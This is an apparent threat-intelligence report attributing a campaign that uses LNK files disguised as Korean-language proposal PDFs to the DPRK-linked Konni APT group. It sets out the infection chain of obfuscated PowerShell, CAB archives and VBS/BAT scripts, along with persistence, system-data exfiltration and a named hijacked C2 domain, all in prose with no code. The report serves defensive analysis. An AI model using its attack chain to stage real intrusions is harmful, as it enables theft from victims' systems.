TTP Overlap: The Signature Konni APT Toolkit
- LNK shortcut droppers, CAB file archives, and obfuscated PowerShell loaders—Konni APT’s toolkit is like a predictable recipe. The LNK dropper is their go-to for delivering the initial payload. From there, the CAB files and PowerShell scripts take over, keeping things under wraps and hard to track. This isn’t new; we’ve seen these tools in previous Konni campaigns, which makes it clear this is more of the same from them.
- Chained Execution via VBS and BAT scripts: This isn’t some one-and-done attack. This is a multi-stage, complex operation. The attackers are spreading the payload across several layers of scripts, which is Konni APT’s bread and butter. Each script moves the attack forward slowly, ensuring that it stays hidden and doesn’t get flagged too quickly.
- Fileless or semi-persistent execution: They’re executing the payload from system folders like
C:\Users\Public\Documents
, steering clear of the usual locations where security tools are looking. This is how Konni stays under the radar—if the payload doesn’t hit a flagged location, it keeps running, even after a reboot. It’s all about making the attack harder to catch.
Infrastructure Hijacking: Konni’s Signature Move
- The C2 infrastructure used in this campaign? Directly linked to Konni APT. SecAI confirmed this. Hijacking legitimate infrastructure is a classic Konni tactic. They repurpose trusted networks to run their malicious activities under the radar, which is exactly what happened here.
- The legitimate host in question was hijacked for C2 communication, and SecAI made it clear that the infrastructure was used by Konni APT. (For more details, check this link: SecAI Report).
Executive Summary
This sophisticated malware campaign, likely orchestrated by DPRK’s Konni APT group, was identified in a ZIP archive containing a malicious .lnk file disguised as a Korean-language proposal PDF. First observed on April 11, 2025, the campaign employs advanced social engineering, leveraging trusted South Korean brands (Naver, Coupang, KakaoTalk) to lure victims. The infection chain unfolds through a multi-stage process: the .lnk file triggers obfuscated PowerShell scripts, extracts a decoy PDF and CAB archive, and executes VBS and batch scripts to achieve persistence, data collection, and exfiltration. Key activities include stealing directory listings and system information, uploaded to a compromised C2 server (ausbildungsbuddy.de). The campaign’s TTPs align closely with Konni APT’s playbook, including LNK droppers, chained script execution, and hijacked infrastructure.
References
- SecAI. (2025). https://i.secai.ai/research/ausbildungsbuddy.de.
- MITRE ATT&CK.https://attack.mitre.org/.
- ChatGPT. https://www.chatgpt.com.
- VT. https://virustotal.com.